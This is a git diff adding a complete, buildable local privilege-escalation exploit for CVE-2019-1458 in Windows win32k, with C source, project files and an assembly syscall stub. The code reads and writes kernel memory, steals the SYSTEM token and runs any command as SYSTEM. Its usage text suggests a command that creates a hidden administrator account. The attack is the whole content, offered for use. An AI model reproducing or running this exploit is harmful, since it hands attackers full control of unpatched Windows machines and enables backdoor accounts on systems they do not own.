RtlInitLargeUnicodeString(&u, (PCWSTR)input); + u.Length = size; + u.MaximumLength = size; + NtUserDefSetText(g_hwnd, &u); +} + +ULONG_PTR readdata(ULONG_PTR addr) +{ + SetClassLongPtr(g_hwnd, g_gap, addr); + ULONG_PTR temp[2] = {0}; + InternalGetWindowText(g_hwnd, (LPWSTR)temp, sizeof(temp) - sizeof(WCHAR)); + return temp[0]; +} + +int main() +{ + ULONG_PTR off_tagWND_pself = 0x20, off_tagCLS_extra=0xa0, off_tagWND_tagCLS=0x98, off_tagWND_strName=0xe0; + ULONG_PTR off_EPROCESS_Token = 0x348, off_KTHREAD_EPROCESS = 0x220, off_tagWND_parent=0x58, off_tagWND_pti=0x10; + ULONG_PTR off_exp_tagCLS = 0; + int argc = 0; + wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc); + puts("CVE-2019-1458 exploit by @unamer(https://github.com/unamer)"); + if (argc != 2) + { + printf("Usage: %S command\nExample: %S \"net user admin admin /ad & net user localgroup administrators admin /ad\"\n\nWARNING: YOU ONLY HAVE ONE CHANCE!!!", argv[0], argv[0]); + return -1; + } + + OSVERSIONINFOW osver; + RtlSecureZeroMemory(&osver, sizeof(osver)); + osver.dwOSVersionInfoSize = sizeof(osver); + RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(GetModuleHandleA("ntdll"), "RtlGetVersion"); + pRtlGetVersion(&osver); + if (osver.dwMajorVersion == 6) { +#ifdef _WIN64 + if (osver.dwMinorVersion == 0)//win2008 + { + off_tagWND_pself = 0x20; + off_tagCLS_extra = 0xa0; + off_tagWND_tagCLS = 0x98; + off_tagWND_strName = 0xe0; + off_KTHREAD_EPROCESS = 0x210; + off_tagWND_parent = 0x58; + off_EPROCESS_Token = 0x208; + off_tagWND_pti = 0x10; + g_NtUserDefSetText_syscall = 0x1081; + g_NtUserMessageCall_syscall = 0x1007; + off_exp_tagCLS = 1; // stupid windows 2008 + } + else if (osver.dwMinorVersion==1) + {//win7 / win2008 R2 + off_tagWND_pself = 0x20; + off_tagCLS_extra = 0xa0; + off_tagWND_tagCLS = 0x98; + off_tagWND_strName = 0xe0; + off_KTHREAD_EPROCESS = 0x210; + off_tagWND_parent = 0x58; + off_EPROCESS_Token = 0x208; + off_tagWND_pti = 0x10; + g_NtUserDefSetText_syscall = 0x107f; + g_NtUserMessageCall_syscall = 0x1007; + off_exp_tagCLS = 1; // stupid windows 2008 + } + else if (osver.dwMinorVersion == 2) + { + // win8/win2012 + off_tagWND_pself = 0x20; + off_tagCLS_extra = 0xa0; + off_tagWND_tagCLS = 0x98; + off_tagWND_strName = 0xe0; + off_EPROCESS_Token = 0x348; + off_KTHREAD_EPROCESS = 0x220; + off_tagWND_parent = 0x58; + off_tagWND_pti = 0x10; + g_NtUserDefSetText_syscall = 0x107f; + g_NtUserMessageCall_syscall = 0x1008; + } + else if (osver.dwMinorVersion==3) + { + // win8.1 / win2012 R2 + off_tagWND_pself = 0x20; + off_tagCLS_extra=0xa0; + off_tagWND_tagCLS=0x98; + off_tagWND_strName=0xe0; + off_EPROCESS_Token = 0x348; + off_KTHREAD_EPROCESS = 0x220; + off_tagWND_parent=0x58; + off_tagWND_pti=0x10; + g_NtUserDefSetText_syscall = 0x1080; + g_NtUserMessageCall_syscall = 0x1009; + } + else + { + printf("[!] This version of system was not supported (%d.%d)\n", osver.dwMajorVersion, osver.dwMinorVersion); + return -99; + } + +#else + // too lazy to support x32 version + if (osver.dwMinorVersion == 0)//win2008 + { + + } + else + {//win7 + + } + +#endif + } + else + { + printf("[!] This version of system was not supported (%d.%d)\n", osver.dwMajorVersion, osver.dwMinorVersion); + return -99; + } + + + if (!FindHMValidateHandle()) { + printf("[!] Failed to locate HmValidateHandle, exiting\n"); + return 1; + } + + ULONG_PTR base_alloc = 0xc00000; + + ULONG_PTR target_addr = base_alloc << (8 * off_exp_tagCLS); + + ULONG_PTR temp = (ULONG_PTR)VirtualAlloc((LPVOID)target_addr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (temp != target_addr) + { + printf("[!] Failed to map 0x%p (0x%p), exiting (%llx)\n", target_addr, temp, GetLastError()); + return 2; + } + + target_addr = (base_alloc + 0x10000) << (8 * off_exp_tagCLS); + temp = (ULONG_PTR)VirtualAlloc((LPVOID)target_addr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (temp != target_addr) + { + printf("[!] Failed to map 0x%p (0x%p), exiting (%llx)\n", target_addr, temp, GetLastError()); + return 2; + } + + const wchar_t CLASS_NAME[] = L"unamer"; + + WNDCLASS wc; + RtlSecureZeroMemory(&wc, sizeof(wc)); + + HINSTANCE hself = GetModuleHandle(0); + + wc.lpfnWndProc = DefWindowProc; + wc.hInstance = hself; + wc.lpszClassName = CLASS_NAME; + wc.cbWndExtra = 0x3000; + wc.cbClsExtra = 0x3000; + + RegisterClass(&wc); + HWND hwnd; + + ULONG_PTR tagWND = 0, tagCLS = 0; + INT64 gap = 0; + + while (true) + { + + hwnd = CreateWindowEx(0, CLASS_NAME, L"unamer", 0, 0, 0, 0, 0, NULL, NULL, hself, NULL); + + if (hwnd == NULL) + { + printf("[!] CreateWindowEx error 0x%x!\n", GetLastError()); + return 3; + } + + char* lpUserDesktopHeapWindow = (char*)pHmValidateHandle(hwnd, 1); + tagWND = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_pself); +// ULONG_PTR ulClientDelta = tagWND - (ULONG_PTR)lpUserDesktopHeapWindow; + tagCLS = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_tagCLS); + + gap = tagWND - tagCLS; + if (gap>0 && gap<0x100000) + { + break; + } + } + + printf("[*] tagWND: 0x%p, tagCLS:0x%p, gap:0x%llx\n", tagWND, tagCLS, gap); + + WNDCLASSEX wcx; + RtlSecureZeroMemory(&wcx, sizeof(wcx)); + wcx.hInstance = hself; + wcx.cbSize = sizeof(wcx); + wcx.lpszClassName = L"SploitWnd"; + wcx.lpfnWndProc = DefWindowProc; + wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0 + + printf("[*] Registering window\n"); + ATOM wndAtom = RegisterClassEx(&wcx); + if (wndAtom == INVALID_ATOM) { + printf("[-] Failed registering SploitWnd window class\n"); + exit(-1); + } + + printf("[*] Creating instance of this window\n"); + HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hself, NULL); + if (sploitWnd == INVALID_HANDLE_VALUE) { + printf("[-] Failed to create SploitWnd window\n"); + exit(-1); + } +// ULONG_PTR tagExpWnd = *(ULONG_PTR*)((char*)pHmValidateHandle(sploitWnd, 1) + off_tagWND_pself); +// printf("[*] tagWND: 0x%p, tagCLS: 0x%p,tagExpWnd: 0x%p, gap: 0x%llx\n", tagWND, tagCLS, tagExpWnd, gap); + + printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window 0x%p\n", sploitWnd); + NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1); + + printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); + SetWindowLongPtr(sploitWnd, 0, tagCLS - off_exp_tagCLS); + printf("[*] GetLastError = %x\n", GetLastError()); + + printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); + HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hself, NULL); + + printf("[*] Simulating alt key press\n"); + BYTE keyState[256]; + GetKeyboardState(keyState); + keyState[VK_MENU] |= 0x80; + SetKeyboardState(keyState); +/* keybd_event(VK_MENU, 0, 0, 0);*/ + printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time\n"); + + NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1); + + // now cbCLSExtra is very large + // verify the oob read + ULONG_PTR orig_name = SetClassLongPtr(hwnd, gap - off_tagCLS_extra + off_tagWND_strName, tagWND + off_tagWND_pself); + ULONG_PTR testtagWND[2] = { 0 }; + InternalGetWindowText(hwnd, (LPWSTR)testtagWND, sizeof(ULONG_PTR)); + + if (testtagWND[0] == tagWND) + { + ULONG_PTR tagExpWnd = *(ULONG_PTR*)((char*)pHmValidateHandle(sploitWnd, 1) + off_tagWND_pself); + printf("[*] tagWND: 0x%p\n", tagExpWnd); + printf("[+] Exploit success!\n"); + // fix tagCLS + g_hwnd = hwnd; + g_gap = gap - off_tagCLS_extra + off_tagWND_strName; + + writedata(tagExpWnd + 0x40, 0,4); + writedata(tagCLS + 0x68, (ULONG_PTR)hself, 8); + writedata(tagCLS + 0x58, (ULONG_PTR)DefWindowProc, 8); + + ULONG_PTR token = readdata(readdata(readdata(readdata(readdata(tagWND + off_tagWND_parent) + off_tagWND_pti)) + off_KTHREAD_EPROCESS) + off_EPROCESS_Token); + ULONG_PTR ep = readdata(readdata(readdata(tagWND + off_tagWND_pti)) + off_KTHREAD_EPROCESS); // self EPROCESS + ULONG_PTR temp = readdata(ep + off_EPROCESS_Token + sizeof(ULONG_PTR)); // fix WorkingSetPage + writedata(ep + off_EPROCESS_Token, token, 8); + writedata(ep + off_EPROCESS_Token + sizeof(ULONG_PTR), temp,8); + + // fix tagWND + SetClassLongPtr(hwnd, g_gap, orig_name); + + DestroyWindow(hwnd); + g_hwnd = 0; + DestroyWindow(sploitWnd); + UnregisterClass(CLASS_NAME, 0); + UnregisterClass(L"SploitWnd", 0); + + SECURITY_ATTRIBUTES sa; + HANDLE hRead, hWrite; + byte buf[40960] = { 0 }; + STARTUPINFOW si; + PROCESS_INFORMATION pi; + DWORD bytesRead; + RtlSecureZeroMemory(&si, sizeof(si)); + RtlSecureZeroMemory(&pi, sizeof(pi)); + RtlSecureZeroMemory(&sa, sizeof(sa)); + int br = 0; + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.lpSecurityDescriptor = NULL; + sa.bInheritHandle = TRUE; + if (!CreatePipe(&hRead, &hWrite, &sa, 0)) + { + return -3; + } + wprintf(L"[*] Trying to execute %s as SYSTEM\n", argv[1]); + si.cb = sizeof(STARTUPINFO); + GetStartupInfoW(&si); + si.hStdError = hWrite; + si.hStdOutput = hWrite; + si.wShowWindow = SW_HIDE; + si.lpDesktop = L"WinSta0\\Default"; + si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; + wchar_t cmd[4096] = { 0 }; + lstrcpyW(cmd, argv[1]); + if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) + { + CloseHandle(hWrite); + CloseHandle(hRead); + printf("[!] CreateProcessW Failed![%lx]\n", GetLastError()); + return -2; + } + CloseHandle(hWrite); + printf("[+] ProcessCreated with pid %d!\n", pi.dwProcessId); + while (1) + { + if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL)) + break; + br += bytesRead; + } + puts("==============================="); + puts((char*)buf); + fflush(stdout); + fflush(stderr); + CloseHandle(hRead); + CloseHandle(pi.hProcess); + ExitProcess(0); + } + else + { + printf("[!] Exploit fail, test:0x%p,tagWND:0x%p, error:0x%lx\n", testtagWND, tagWND, GetLastError()); + ExitProcess(-5); + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/cve-2019-1458.vcxproj b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/cve-2019-1458.vcxproj new file mode 100644 index 00000000..5aa2a7a5 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/cve-2019-1458.vcxproj @@ -0,0 +1,159 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {FD32BB28-7082-41EA-B221-26E8D10A1CC9} + Win32Proj + cve20191458 + + + + Application + true + v120 + Unicode + + + Application + true + v120 + Unicode + + + Application + false + v120 + true + Unicode + + + Application + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + false + true + true + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/cve-2019-1458.vcxproj.filters b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/cve-2019-1458.vcxproj.filters new file mode 100644 index 00000000..2d9ca60f --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/cve-2019-1458.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Source Files + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/cve-2019-1458.vcxproj.user b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/cve-2019-1458.vcxproj.user new file mode 100644 index 00000000..ef5ff2a1 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/cve-2019-1458.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/shellcode.asm b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/shellcode.asm new file mode 100644 index 00000000..98ca27e4 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/shellcode.asm @@ -0,0 +1,22 @@ +_TEXT SEGMENT + +EXTERNDEF g_NtUserDefSetText_syscall:dword +EXTERNDEF g_NtUserMessageCall_syscall:dword +PUBLIC NtUserMessageCall +NtUserMessageCall PROC + mov r10, rcx + mov eax, g_NtUserMessageCall_syscall + syscall + ret +NtUserMessageCall ENDP + +PUBLIC NtUserDefSetText +NtUserDefSetText PROC + mov r10, rcx + mov eax, g_NtUserDefSetText_syscall + syscall + ret +NtUserDefSetText ENDP + +_TEXT ENDS +END \ No newline at end of file